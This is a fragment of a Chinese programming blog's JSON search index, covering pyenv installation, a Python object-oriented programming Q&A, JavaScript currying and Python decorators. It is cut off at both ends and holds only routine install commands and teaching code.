","date":"2023-03-24T00:00:00Z","image":"https://live.staticflickr.com/65535/52767686731_8692b4f919_o.jpg","permalink":"https://blog.wayne-project.com/2023-03-24/dotnet-core-v7-launch-profile/","title":"關於 ASP.NET Core 7.0 的啟動設定檔 (Launch Settings)"},{"content":" 參考網站\n參考網站\n參考網站\n參考網站\nPython 近 10 年來一直在演進，因此 Python 專案的開發也需要考慮版本的問題，特別是 Python 2 已經退休了，而現在的 Python 專案都以 Python 3 為主；然而有些公司內部的老舊專案仍以 Python 2 開發，因此開發者必須在 Python 2 與 3 之間進行切換。\n如果你有 Python 版本切換上的困擾，那麼 pyenv 會是你的好朋友！\n安裝 Pyenv Mac 安裝 Pyenv 更新 Homebrew，並安裝 Pyenv 的相依套件： 1 2 brew update brew install openssl readline sqlite3 xz zlib 透過 Homebrew 在 Mac 安裝 pyenv： 1 brew install pyenv 在 ~/.zshrc 加入 PYENV_ROOT 路徑和 pyenv init： 1 2 3 echo \u0026#39;export PYENV_ROOT=\u0026#34;$HOME/.pyenv\u0026#34;\u0026#39; \u0026gt;\u0026gt; ~/.zshrc echo \u0026#39;command -v pyenv \u0026gt;/dev/null || export PATH=\u0026#34;$PYENV_ROOT/bin:$PATH\u0026#34;\u0026#39; \u0026gt;\u0026gt; ~/.zshrc echo \u0026#39;eval \u0026#34;$(pyenv init -)\u0026#34;\u0026#39; \u0026gt;\u0026gt; ~/.zshrc 重新啟動 shell，就完成囉！ 1 exec \u0026#34;$SHELL\u0026#34; Windows 安裝 Pyenv 使用 git 下載 pyenv-win： 1 git clone https://github.com/pyenv-win/pyenv-win.git \u0026#34;$HOME/.pyenv\u0026#34; 1-2. 亦可使用 pip 進行下載：\nPowerShell： 1 pip install pyenv-win --target $HOME\\\\.pyenv cmd： 1 pip install pyenv-win --target %USERPROFILE%\\.pyenv 設定環境變數： 1 2 3 4 [System.Environment]::SetEnvironmentVariable(\u0026#39;PYENV\u0026#39;,$env:USERPROFILE + \u0026#34;\\.pyenv\\pyenv-win\\\u0026#34;,\u0026#34;User\u0026#34;) [System.Environment]::SetEnvironmentVariable(\u0026#39;PYENV_ROOT\u0026#39;,$env:USERPROFILE + \u0026#34;\\.pyenv\\pyenv-win\\\u0026#34;,\u0026#34;User\u0026#34;) [System.Environment]::SetEnvironmentVariable(\u0026#39;PYENV_HOME\u0026#39;,$env:USERPROFILE + \u0026#34;\\.pyenv\\pyenv-win\\\u0026#34;,\u0026#34;User\u0026#34;) [System.Environment]::SetEnvironmentVariable(\u0026#39;path\u0026#39;, $env:USERPROFILE + \u0026#34;\\.pyenv\\pyenv-win\\bin;\u0026#34; + $env:USERPROFILE + \u0026#34;\\.pyenv\\pyenv-win\\shims;\u0026#34; + [System.Environment]::GetEnvironmentVariable(\u0026#39;path\u0026#39;, \u0026#34;User\u0026#34;),\u0026#34;User\u0026#34;) 重新開啟終端機，就完成囉！ Linux 安裝 Pyenv 更新 apt-get 和安裝相依性套件： 1 2 apt-get update apt-get install make build-essential libssl-dev zlib1g-dev libbz2-dev libreadline-dev libsqlite3-dev wget curl llvm libncurses5-dev libncursesw5-dev xz-utils tk-dev libffi-dev liblzma-dev python-openssl git 利用 git 安裝 pyenv： 1 git clone https://github.com/pyenv/pyenv.git ~/.pyenv 在 ~/.bashrc 加入 PYENV_ROOT 路徑和 pyenv init： 1 2 3 echo \u0026#39;export PYENV_ROOT=\u0026#34;$HOME/.pyenv\u0026#34;\u0026#39; \u0026gt;\u0026gt; ~/.bashrc echo \u0026#39;export PATH=\u0026#34;$PYENV_ROOT/bin:$PATH\u0026#34;\u0026#39; \u0026gt;\u0026gt; ~/.bashrc echo -e \u0026#39;if command -v pyenv 1\u0026gt;/dev/null 2\u0026gt;\u0026amp;1; then\\n eval \u0026#34;$(pyenv init -)\u0026#34;\\nfi\u0026#39; \u0026gt;\u0026gt; ~/.bashrc 關於其他 system 需要安裝的相依套件，可以參考這篇文件。\n重新啟動 shell，就完成囉！ 1 exec \u0026#34;$SHELL\u0026#34; 驗證 Pyenv 是否安裝成功？ 1 2 3 pyenv --version \u0026gt; pyenv 3.1.1 如何使用 Pyenv 切換 Python 版本？ 查看 pyenv 可安裝的 Python 版本 1 2 3 4 5 6 7 pyenv install --list # 或 -l \u0026gt;\u0026gt;\u0026gt; 3.7.6 \u0026gt;\u0026gt;\u0026gt; 3.7.7 \u0026gt;\u0026gt;\u0026gt; 3.8.0 \u0026gt;\u0026gt;\u0026gt; 3.8.1 \u0026gt;\u0026gt;\u0026gt; 3.8.2 安裝想選擇的 python 版本 1 pyenv install 3.7.7 查看 pyenv 已經安裝過的 python 版本 1 2 3 4 pyenv versions \u0026gt;\u0026gt;\u0026gt; * system (set by /Users/wayne/.pyenv/version) \u0026gt;\u0026gt;\u0026gt; 3.7.7 切換 Python 版本，可以選擇用 global、local 或 shell 來執行： 1 2 3 pyenv global 3.7.7 # 或 pyenv local 3.7.7 # 或 pyenv shell 3.7.7 global、local、shell 三者使用方法差異在於：\nglobal：對應於全局。 local：對應於當前資料夾。 shell：對應於當前 shell。 優先順序是 shell ➡️ local ➡️ global。\nPyenv 切換 python 版本成功後，如何查看？ 可以使用 python3 --version 來查看目前 python 版本，如果顯示的是你剛設定的版本，就代表成功囉！\n1 2 3 python3 --version \u0026gt; Python 3.10.1 Pyenv 如何切換成原始系統的版本？ 可以使用 pyenv {{global}} system，system 代表原本系統的 python 版本，就可以切換回去囉！\n1 pyenv global system 更新 Python 環境資訊 如果有使用 pip 安裝或解安裝 library 以及異動特定 version Python 的資料夾內容，必須使用 rehash 通知 pyenv 重新對應相關的使用連結。\n1 pyenv rehash ","date":"2023-03-21T00:00:00Z","image":"https://live.staticflickr.com/65535/52760880532_9a3e6169b0_o.jpg","permalink":"https://blog.wayne-project.com/2023-03-21/python-pyenv-introduction/","title":"【Pyenv】輕鬆管理 Python 版本的好工具！"},{"content":" 參考網站\n參考網站\n物件導向 請問物件導向程式語言有哪些特點，能簡單說明給我聽嗎？ 物件導向程式語言 (Object-Oriented Programming，OOP) 的特點有：\n物件導向：OOP 程式語言是以物件 (Object) 為基礎建構程式，物件具有狀態 (state) 和行為 (behavior)。 繼承 (Inheritance)：OOP 程式語言允許一個類別 (class) 從另一個類別繼承屬性和行為。 多型 (Polymorphism)：OOP 程式語言允許物件在不同的情況下具有不同的行為。 封裝 (Encapsulation)：OOP 程式語言允許將物件的狀態和行為封裝在一起，保護物件內部狀態不被外界直接存取。 抽象 (Abstraction) ，OOP 程式語言將物件的實作細節與使用者分開，使用者只需要知道物件的公開介面而無需知道其實作。 請問物件具有狀態 (state) 和行為 (behavior)。這句話是什麼意思？能用 python 舉例嗎？ 物件具有狀態 (state) 和行為 (behavior) 意思是物件具有兩種不同的特性，狀態代表物件的屬性，行為代表物件的方法。\n舉例來說，若我們有一個類別叫做 Car，那麼這個類別可能有一些狀態屬性如 \u0026ldquo;color\u0026rdquo;、\u0026ldquo;speed\u0026rdquo;、\u0026ldquo;brand\u0026rdquo;，而行為可能有 \u0026ldquo;drive\u0026rdquo;、\u0026ldquo;brake\u0026rdquo;、\u0026ldquo;turn\u0026rdquo; 等方法。\n用 python 程式碼來實現這個類別可能長得像下面這樣：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 class Car: def __init__(self, color, speed, brand): self.color = color self.speed = speed self.brand = brand def drive(self): self.speed += 10 def brake(self): self.speed -= 10 def turn(self, direction): print(f\u0026#34;The car is turning {direction}\u0026#34;) my_car = Car(\u0026#34;red\u0026#34;, 0, \u0026#34;Tesla\u0026#34;) my_car.drive() my_car.turn(\u0026#34;left\u0026#34;) print(my_car.speed) # 10 上面這個例子中，類別 Car 有三個狀態屬性 color、speed、brand 以及三個行為方法 drive()、brake()、turn()。\n透過創建一個實體物件 my_car = Car(\u0026quot;red\u0026quot;, 0, \u0026quot;Tesla\u0026quot;) 來使用這些方法及屬性。\n請問你能用上面的 Car class 寫一個繼承的範例給我看嗎？ 當然可以，我們可以創建一個新的類別來繼承 Car 類別，讓新類別繼承 Car 類別的屬性和方法。\n例如我們可以創建一個新的類別 ElectricCar 繼承 Car 類別，並且在 ElectricCar 類別中加入新的屬性和方法。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 class ElectricCar(Car): def __init__(self, color, speed, brand, battery_size): super().__init__(color, speed, brand) self.battery_size = battery_size def charge(self): print(\u0026#34;The electric car is charging...\u0026#34;) def drive(self): if self.battery_size \u0026gt; 0: self.speed += 20 self.battery_size -= 10 else: print(\u0026#34;The battery is empty, please charge the car.\u0026#34;) my_electric_car = ElectricCar(\u0026#34;blue\u0026#34;, 0, \u0026#34;Tesla\u0026#34;, 100) my_electric_car.drive() my_electric_car.drive() my_electric_car.drive() print(my_electric_car.speed) # 60 print(my_electric_car.battery_size) # 70 在這個例子中，ElectricCar 類別繼承了 Car 類別的所有屬性和方法，並且定義了新的屬性 battery_size 和方法 charge()。\n透過使用 super() 函式可以繼承 Car 類別的 init 方法。\n使用 my_electric_car = ElectricCar(\u0026quot;blue\u0026quot;, 0, \u0026quot;Tesla\u0026quot;, 100) 來創建實體物件，可以使用 ElectricCar 類別的新屬性及方法。\n請問你能用上面的程式碼繼續舉例多型的用法給我看嗎？ 當然可以，多型 (Polymorphism) 是指物件在不同的情況下具有不同的行續。 一般來說我們可以使用繼承的類別來實現多型。\n以上面程式碼為例，我們可以用 ElectricCar 類別繼承 Car 類別，並重新實現 drive 方法來實現多型的用法。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 class ElectricCar(Car): def __init__(self, color, speed, brand, battery_size): super().__init__(color, speed, brand) self.battery_size = battery_size def charge(self): print(\u0026#34;The electric car is charging...\u0026#34;) def drive(self): if self.battery_size \u0026gt; 0: self.speed += 20 self.battery_size -= 10 else: print(\u0026#34;The battery is empty, please charge the car.\u0026#34;) class GasCar(Car): def __init__(self, color, speed, brand, gas_level): super().__init__(color, speed, brand) self.gas_level = gas_level def fill_gas(self): self.gas_level = 100 def drive(self): if self.gas_level \u0026gt; 0: self.speed += 15 self.gas_level -= 10 else: print(\u0026#34;The gas is empty, please fill the gas.\u0026#34;) my_electric_car = ElectricCar(\u0026#34;blue\u0026#34;, 0, \u0026#34;Tesla\u0026#34;, 100) my_gas_car = GasCar(\u0026#34;black\u0026#34;, 0, \u0026#34;Ford\u0026#34;, 60) def drive_car(car): car.drive() drive_car(my_electric_car) drive_car(my_gas_car) print(my_electric_car.speed) # 20 print(my_gas_car.speed) # 15 在這個例子中，我們在 ElectricCar 和 GasCar 類別中都重新實現了 drive 方法，並且在 drive_car 函數中只接受 Car 的類別，可以看到在 drive_car 函數中傳入不同類別的實體物件會執行不同的 drive 行為。\n這就是多型的用法，可以讓同一個函數或方法支援多種類別的物件，而不需要為每一種類別都寫一個不同的函數或方法。這樣可以增加程式碼的彈性和可讀性。\n我們可以在設計類別時統一實現某些方法，並讓類別可以自行選擇如何實現該方法，這樣就可以讓程式碼更具彈性和靈活性。\n請問你能用上面的程式碼繼續舉例封裝的用法給我看嗎？ 當然可以，封裝 (Encapsulation) 是指將物件的狀態和行為封裝在一起，保護物件內部狀態不被外界直接存取。\n在 Python 中，我們可以使用 _ 或 __ 來表示私有變數和方法，這樣的變數和方法只能在類別內部存取。\n例如，我們可以把 ElectricCar 類別中的 battery_size 屬性改成私有變數：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 class ElectricCar(Car): def __init__(self, color, speed, brand, battery_size): super().__init__(color, speed, brand) self.__battery_size = battery_size def charge(self): print(\u0026#34;The electric car is charging...\u0026#34;) def drive(self): if self.__battery_size \u0026gt; 0: self.speed += 20 self.__battery_size -= 10 else: print(\u0026#34;The battery is empty, please charge the car.\u0026#34;) def get_battery_size(self): return self.__battery_size my_electric_car = ElectricCar(\u0026#34;blue\u0026#34;, 0, \u0026#34;Tesla\u0026#34;, 100) print(my_electric_car.get_battery_size()) #100 在這個例子中，ElectricCar 類別的 battery_size 屬性被定義為私有變數，只能在類別內部存取。如果外部直接存取該變數的話會產生錯誤。\n而我們可以使用私有變數所對應的公有方法 get_battery_size() 來存取私有變數。這樣可以保護類別內部狀態不被外部直接存取，也可以通過公有方法給外部提供適當的存取權限。\n你說在 Python 中，我們可以使用 _ 或 __ 來表示私有變數和方法，請問 _ 跟 __ 差在哪裡？ 用一個底線 _ 表示私有變數和方法並不會真正的阻止外部存取，只是約定俗成的寫法。\n而使用兩個底線 __ 來表示私有變數和方法會真正的封裝，阻止外部存取，並且子類別也無法存取，更能保證封裝性。\n請問你能用上面的程式碼繼續舉例抽象的用法給我看嗎？ 可以，以下是之前提到的 Car、ElectricCar、GasCar 程式碼使用抽象類別和抽象方法的寫法：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from abc import ABC, abstractmethod class Car(ABC): def __init__(self): self.__year_model = 0 self.__make = \u0026#34;\u0026#34; self.__speed = 0 @abstractmethod def drive(self): pass class ElectricCar(Car): def __init__(self): super().__init__() self.__battery_type = \u0026#34;\u0026#34; def set_battery_type(self, battery_type): self.__battery_type = battery_type def get_battery_type(self): return self.__battery_type def drive(self): print(\u0026#34;Electric car is driving.\u0026#34;) class GasCar(Car): def __init__(self): super().__init__() self.__fuel_type = \u0026#34;\u0026#34; def set_fuel_type(self, fuel_type): self.__fuel_type = fuel_type def get_fuel_type(self): return self.__fuel_type def drive(self): print(\u0026#34;Gas car is driving.\u0026#34;) #create object car = ElectricCar() car.drive() car = GasCar() car.drive() 在這個範例中，Car 類別是一個抽象類別，它定義了一個抽象方法 drive()。ElectricCar 和 GasCar 類別都繼承自 Car 類別，並實現了 drive() 方法。\n這樣的設計可以達到封裝的目的，同時也可以達到多型的目的。並且因為 Car 類別是抽象類別，所以不能直接建立 Car 類別的物件，只能用它的子類別來建立物件。\n有了繼承的特點為何還需要抽象？感覺不出這兩者有何差別？ 繼承的作用是讓子類別可以繼承父類別的屬性和方法，使得子類別可以共用父類別的程式碼，達到代碼重用的目的。這樣可以讓程式碼更簡潔，並且可以讓子類別擁有父類別的特徵。\n而抽象則是讓類別有共同的特徵和行為，抽象類別不能被實例化，而是用來被其他類別繼承。抽象類別中可以定義抽象方法(abstract method)和普通方法，抽象方法只有定義，沒有實現。在子類別中必須實現抽象方法。這樣可以確保所有子類別都有相同的行為，但實現可能不同。\n在車的例子中，我們可以用繼承的方式，讓 ElectricCar 和 GasCar 繼承 Car 的屬性，例如 make、model、year_model。而用抽象的方式，我們可以在父類別 Car 中定義一個 drive 方法，並在子類別中實現 drive 方法，這樣可以確保所有車子都有 drive 這個行為。\n實際業務上來說，何時會想用繼承何時會想用抽象？ 實際業務上，繼承和抽象會根據實際需求而使用。\n繼承： 要繼承另一個類別的特徵和行為時，就可以使用繼承。例如，你有一個車類別，並且你需要創建一個電動車和汽油車類別，這兩個類別都有許多相同的特徵和行為，那麼你可以使用繼承，將車類別的特徵和行為繼承到電動車和汽油車類別中。\n抽象： 當你有一些類別需要共用同一個介面或行為時，就可以使用抽象。例如，你有一個車類別，並且你需要創建多種不同類型的車，例如電動車、汽油車、柴油車等，這些車都需要有 drive 這個行為，那麼你可以使用抽象類別來定義一個 drive 方法，並在電動車、汽油車、柴油車等類別中實現 drive 方法，這樣就可以確保所有車都有 drive 這個行為。\n總結來說，繼承是用來繼承父類別的特徵和行為，而抽象則是用來確保類別具有共同的特徵和行為。\n請問你說的特徵具體來說是指什麼東西？ 特徵是指類別所具有的屬性和行為，包括資料和函式。\n屬性是指類別中的變數，它們用來儲存類別中的資料。例如在之前的例子中，Car 類別中的屬性有 make、model、year_model。\n而行為是指類別中的函式，它們用來定義類別的動作。例如在之前的例子中，Car 類別中的行為有 drive、get_make、get_model 等。\n這些屬性和行為就是類別的特徵。\n請問物件導向為何叫做物件導向？ 物件導向程式語言之所以叫做物件導向是因為它重視物件 (Object) 這個概念。在物件導向程式語言中，程式設計師可以使用類別 (Class) 來定義物件的共性，並使用物件來實例化類別。\n物件具有狀態 (state) 和行為 (behavior)，並且可以互相之間進行溝通和互動。透過物件導向程式設計，可以更加形象地模擬實際世界中的事物，並且更加容易維護和擴展程式碼。\n","date":"2023-03-21T00:00:00Z","image":"https://live.staticflickr.com/65535/52761621059_ebb7e25e23_o.jpg","permalink":"https://blog.wayne-project.com/2023-03-21/python-oop-qa/","title":"物件導向的 Q\u0026A - 以 Python 舉例"},{"content":" 參考網站\n參考網站\n參考網站\n參考網站\n參考網站\nCurrying（柯里化），又稱為 parital application 或 partial evaluation，functional programming 中的一種過程，是個「將一個接受 n 個參數的 function，轉變成 n 個只接受一個參數的 function」的過程。\n原理是將傳入 function 的參數，利用 closure（閉包）特性，將它們存放在另一個 function 中並當做回傳值，而這些 function 會形成一個鏈（chain），待最後參數傳入，完成運算。\n這樣做的好處是：\n簡化參數的處理，基本上是一次處理一個參數，藉以提高程式的彈性和可讀性 將程式碼依功能拆解成更細的片段，有助於重複利用 這對於整理冗長程式碼、需要詳客製化的 function 和非同步呼叫的處理等有很大的幫助。 說明 假設有個 function，傳入被乘數和乘數之後可得到兩數相乘的結果：\n1 2 3 4 5 function multiply(x, y){ return x * y; } multiply(3, 5); // 15 柯里化後就是這樣：\n1 2 3 4 5 function curriedMultiply(x) { return function(y) { return x * y; } } 假設固定被乘數為 3，接著會分別帶入乘數為 5 和 10 來取得運算結果。意即，3 * 5 = 15、3 * 10 = 10\n1 2 3 4 var multipleOfThreeAndNumberY = curriedMultiply(3); multipleOfThreeAndNumberY(5); // 15 multipleOfThreeAndNumberY(10); // 30 當然，我們也可以改固定被乘數為 5，分別帶入乘數為 5 和 10 來算結果。\n1 2 3 4 var multipleOfFiveAndNumberY = curriedMultiply(5); multipleOfFiveAndNumberY(5); // 25 multipleOfFiveAndNumberY(10); // 50 備註 curriedMultiply 並沒有計算結果，而是回傳一個 function 作為未來計算結果之用。 也就是說，待之後呼叫 multipleOfThreeAndNumberY 和 multipleOfFiveAndNumberY 傳入參數後才回傳計算結果。 multiply(x, y) 等於 curriedMultiply(x)(y)。 1 2 3 4 5 // 用法一 multiply(3, 5); // 15 // 用法二 curriedMultiply(3)(5); // 15 以上這個簡單範例就呼應一開始所提到的柯里化的優點 - 將程式碼拆解成更細的片段，有助於重複利用。\n再來看看另一個例子會覺得柯里化更好用 - 在非同步存取資料上的應用。\nCurrying the Callback 在非同步資料存取上，一般來說，我們常將「讀取資料」和「處理資料」兩件事寫在一起，導致程式碼的冗長與雜亂。例如像這個樣子：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 function fetchData(path, handler) { var xmlHttp = new XMLHttpRequest(); var result = {}; xmlHttp.open( \u0026#34;GET\u0026#34;, path, false ); xmlHttp.send( null ); result = JSON.parse(xmlHttp.responseText); handler(result.data); } function showResult(result) { console.log(\u0026#39;The result is: \u0026#39; + result); } var path = \u0026#39;http://www.json-generator.com/api/json/get/bPQMSaHjsi?indent=2\u0026#39;; fetchData(path, showResult); // The result is: Hello, World! 若將負責處理資料的 callback 這個參數提出來（在這裡是 handler），就可改善程式碼如下。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 function curriedFetchData(path) { var xmlHttp = new XMLHttpRequest(); var result = {}; xmlHttp.open( \u0026#34;GET\u0026#34;, path, false ); xmlHttp.send( null ); result = JSON.parse(xmlHttp.responseText); return function(_callback) { _callback(result.data); } } function showResult(result) { console.log(\u0026#39;The result is: \u0026#39; + result); } var path = \u0026#39;http://www.json-generator.com/api/json/get/bPQMSaHjsi?indent=2\u0026#39;; // 用法一 var getData = curriedFetchData(path)(showResult); getData(showResult); // The result is: Hello, World! // 用法二 curriedFetchData(path)(showResult); // The result is: Hello, World! 這看起來好像沒什麼，那麼再看看如果是這樣的話\u0026hellip;\n如果在循序讀取下，要取得兩筆資料 - 先取得第一筆，再取得第二筆，並一同做處理，剛剛尚未柯里化的的程式碼就會變得非常龐大複雜\u0026hellip;\n但柯里化後的程式處理起來就相對容易多了\u0026hellip;這因為我們將「讀取資料」和「處理資料」兩個動作拆開的緣故\u0026hellip;就算是用 promise 而非 callback hell 也能更順手：\n1 2 3 4 5 6 7 8 9 10 11 var path1 = \u0026#39;http://www.json-generator.com/api/json/get/bPQMSaHjsi?indent=2\u0026amp;ver=1\u0026#39;; var path2 = \u0026#39;http://www.json-generator.com/api/json/get/bPQMSaHjsi?indent=2\u0026amp;ver=2\u0026#39;; var getData1 = curriedFetchData(path1); var getData2 = curriedFetchData(path2); getData1(function(result1) { getData2(function(result2) { console.log(result1 + \u0026#39; \u0026#39; +result2); // Hello, World! Hello, World! }); }); ","date":"2023-03-16T00:00:00Z","image":"https://live.staticflickr.com/65535/52750230342_4ddafe10aa_o.jpg","permalink":"https://blog.wayne-project.com/2023-03-16/js-function-currying/","title":"【Function Currying】Javascript 函數柯里化"},{"content":" 參考網站\n參考網站\n參考網站\n參考網站\n參考網站\nPython 的 decorator (或稱: 裝飾子) 是一個非常有用的功能，它的重要程度可以說是沒用過或不會用 decorator 的人就等於沒學過 Python，甚至在一些常見的框架(Framework)，例如 Flask、FastAPI、Django 都提供各種方便的 decorator 供大家使用。\n這麼重要的東西，肯定是闖江湖都會用到的金創藥啊！\n但如果你剛接觸 Python 就看到類似以下裝飾子的範例，絕對會腦袋打結，為什麼函式前面還要加個 @debug 還有 @cache，而且還很神奇能運作：\n1 2 3 4 @debug @cache def sum(a, b): return a + b 本文就教大家如何理解 Python 的 decorator！\n本文 python 環境 Python 3 什麼是 Decorator 簡單來說，Decorator 是程式語言的設計模式，也是一種特殊的 function（把被裝飾函式當做參數傳入裝飾器函式，再把被裝飾函式傳回），透過 Decorator 可以將加上 Decorator 的 function 加上更多能力，重複利用許多程式碼。而在 Python 中我們則是使用 @ 當做 Decorator 使用的語法糖符號（語法糖指的是簡化寫法）。\n開始之前 剛學程式的人，如果想要除錯 1 個函式(function)，大多都會選擇在函式內加上 print 吧，通常都會將傳入值與回傳值都列印出來，例如：\n1 2 3 4 5 def sum(a, b): print(\u0026#39;a =\u0026#39;, a) print(\u0026#39;b =\u0026#39;, b) print(\u0026#39;a + b =\u0026#39;, a + b) return a + b 然而，這樣子只能針對 sum 這個函式除錯，而且每次都要做侵入式的修改，相當不便\u0026hellip;。\n我們都知道 Python 的傳入與回傳值可以是函式，那麼也許可以做一個函式叫 debug，然後接受任何函式傳入，並且把我們的 debug 功能加在裡面，這樣就能夠針對任何函式進行除錯，例如：\n1 2 3 4 5 6 7 8 9 10 def sum(a, b): return a + b def debug(func): print(\u0026#39;接到 func\u0026#39;, func.__name__) # 我想在這裡 debug return func debug_sum = debug(sum) debug_sum(1, 2) p.s. 每個 function 都有 1 個屬性 __name__ 可以取得函式名稱\n執行結果：\n1 \u0026gt; 接到 func sum 可是上述範例 debug 函式執行過程並沒有辦法呼叫傳入的 func，因為我們無法攔截到未來使用者怎麼呼叫傳進去的 func (也就是 sum 函式），也就是 debug_sum(1, 2) 沒攔截到傳進去的 1、2，所以根本無法完成除錯的目標，但好消息是我們可以攔截到 sum 被傳進去了。\n怎麼解決攔截傳入參數的部分？ 很簡單！做個中間人！\n我們可以把傳進 debug 函式的 func 再用 def 包裝在 1 個新的函式裡面，這個新的函式要負責接受任何參數，然後轉一手再代入先前傳進來的函式，最後我們再將新包裝過的函式回傳回去，於是程式碼會變成這樣：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 def sum(a, b): return a + b def debug(func): print(\u0026#39;接到 func\u0026#39;, func.__name__) def wrapper(*args, **kwargs): print(\u0026#39;幫忙代入 args\u0026#39;, args) print(\u0026#39;幫忙代入 kwargs\u0026#39;, kwargs) func(*args, **kwargs) return wrapper debug_sum = debug(sum) debug_sum(1, 2) print(\u0026#39;debug_sum\u0026#39;, debug_sum) 執行結果：\n1 2 3 4 \u0026gt; 接到 func sum \u0026gt; 幫忙代入 args (1, 2) \u0026gt; 幫忙代入 kwargs {} \u0026gt; debug_sum \u0026lt;function debug.\u0026lt;locals\u0026gt;.wrapper at 0x107966430\u0026gt; 耶！從上面執行結果看到我們透過再包裝 1 層函式，就能攔截傳入參數的部分。從執行結果也可以看到呼叫完 debug 函式，所得到的 debug_sum 其實就是那個新包裝好的函式，因此上述範例的呼叫 debug_sum 的方式可以進一步濃縮為 1 行：\n1 debug(sum)(1, 2) 不過上述範例還是沒有列印 sum 執行結果的部分，所以可以再進一步改成：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 def sum(a, b): return a + b def debug(func): print(\u0026#39;接到 func\u0026#39;, func.__name__) def wrapper(*args, **kwargs): print(\u0026#39;幫忙代入 args\u0026#39;, args) print(\u0026#39;幫忙代入 kwargs\u0026#39;, kwargs) result = func(*args, **kwargs) print(func.__name__, \u0026#39;執行結果\u0026#39;, result) return wrapper debug_sum = debug(sum) debug_sum(1, 2) 執行結果：\n1 2 3 4 \u0026gt; 接到 func sum \u0026gt; 幫忙代入 args (1, 2) \u0026gt; 幫忙代入 kwargs {} \u0026gt; sum 執行結果 3 耶！完美！\n完成 debug 函式之後，你就可以任意 debug 函式，而且不需要做到任何侵入性的修改，例如 debug print 函式：\n1 2 3 4 5 6 7 8 9 10 11 def debug(func): print(\u0026#39;接到 func\u0026#39;, func.__name__) def wrapper(*args, **kwargs): print(\u0026#39;幫忙代入 args\u0026#39;, args) print(\u0026#39;幫忙代入 kwargs\u0026#39;, kwargs) result = func(*args, **kwargs) print(func.__name__, \u0026#39;執行結果\u0026#39;, result) return wrapper debug_print = debug(print) debug_print(1, 2, \u0026#39;3\u0026#39;) 看到這邊，大家應該就會了解 Python decorator 在做什麼 - 接收 1 個函式後加工並包裝成 1 個新的函式！\n@ 語法糖(Syntactic sugar) 也由於這種 decorator 的模式很好用，所以 Python 提供 1 種特殊的語法 @ 可以讓我們將 debug_sum = debug(sum) 簡化為：\n1 2 3 @debug def sum(a, b): return a + b 這種語法就被稱為是 1 種語法糖，太好吃了，而且會上癮\u0026hellip;。\n所以這種接受接一個函式作為參數，然後返回一個新的函式的函式都可以在前面加上 @ 作為裝飾子使用，例如下列範例的 timeit （測量函式執行時間）：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 import time def timeit(func): def wrapper(): s = time.time() func() print(func.__name__, \u0026#39;total time\u0026#39;, time.time() - s) return wrapper @timeit def sleep_10s(): time.sleep(10) sleep_10s() 執行結果：\n1 \u0026gt; sleep_10s total time 10.000677108764648 多個裝飾子的執行順序 由於裝飾子非常好用，所以你很有可能會看到類似的程式碼片段存在專案之中：\n1 2 3 4 5 6 @timeit @api @auth_required @cache def get_profile(): # ...(略) 這時候頭就大了，到底要怎麼理解多個裝飾子的執行順序？到底是 @timeit 會先執行？還是 @cache 會先執行呢？\n為了解答這個問題，我們可以將 decorator 的數量簡化至 2 個，例如：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 def deco1(func): def wrapper(): print(\u0026#39;deco1\u0026#39;) func() print(\u0026#39;deco1 end\u0026#39;) return wrapper def deco2(func): def wrapper(): print(\u0026#39;deco2\u0026#39;) func() print(\u0026#39;deco2 end\u0026#39;) return wrapper @deco1 @deco2 def main(): print(\u0026#39;main\u0026#39;) main() 上述執行結果如下：\n1 2 3 4 5 \u0026gt; deco1 \u0026gt; deco2 \u0026gt; main \u0026gt; deco2 end \u0026gt; deco1 end 其實從執行結果可以看出，最外層的 decorator 會最先執行，最晚結束。\n但其實也不難理解，因為 decorator 是一層包一層的形式，所以只要把一層包一層的圖畫出來，再畫一條直線從上往下貫穿，我們就可以理解其執行與結束順序了：\nfunctools.wraps 先前章節提到 decorator 會接受接一個函式作為參數，然後返回一個新的函式的函式，這其實會有 1 個小小問題產生，就是被包裝的函式的名字與 doc string 都會消失，例如：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import time def timeit(func): def wrapper(): s = time.time() func() print(func.__name__, \u0026#39;total time\u0026#39;, time.time() - s) return wrapper @timeit def sleep_10s(): \u0026#34;\u0026#34;\u0026#34;sleep 10s\u0026#34;\u0026#34;\u0026#34; time.sleep(10) print(\u0026#39;func\u0026#39;, sleep_10s.__name__) print(\u0026#39;doc\u0026#39;, sleep_10s.__doc__) 執行結果：\n1 2 \u0026gt; func wrapper \u0026gt; doc string None 從上述執行結果可以看到 sleep_10s 的名字與 doc string 都不是我們所預期的樣子，原因在於 decorator 其實回傳新的函式，所以這些非預期的值都數於新回傳的函式，這樣就對開發協作者比較不友善了\u0026hellip;。\n如果要修好這個問題，可以用 functools.wrap 再包裝一次回傳的函式：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import time from functools import wraps def timeit(func): @wraps(func) def wrapper(): s = time.time() func() print(func.__name__, \u0026#39;total time\u0026#39;, time.time() - s) return wrapper @timeit def sleep_10s(): \u0026#34;\u0026#34;\u0026#34;sleep 10s\u0026#34;\u0026#34;\u0026#34; time.sleep(10) print(\u0026#39;func\u0026#39;, sleep_10s.__name__) print(\u0026#39;doc\u0026#39;, sleep_10s.__doc__) 執行結果如下，可以看到 sleep_10s 的函式名稱與 doc string 又恢復正常了：\n1 2 \u0026gt; func sleep_10s \u0026gt; doc string sleep 10s 實際上 functool.wraps 可以視情況自行決定要不要加，如果是一定要保留 doc string 或原本的函式名稱的話，就可以用 functool.wraps，否則其實不加也不影響日常使用。\n類別裝飾子(Class-based decorators) 其實，不只有函式(function)能夠當裝飾子，類別(class)也能改裝成裝飾子。\n類別寫成的裝飾子就稱為 class-based decorator。\n實作 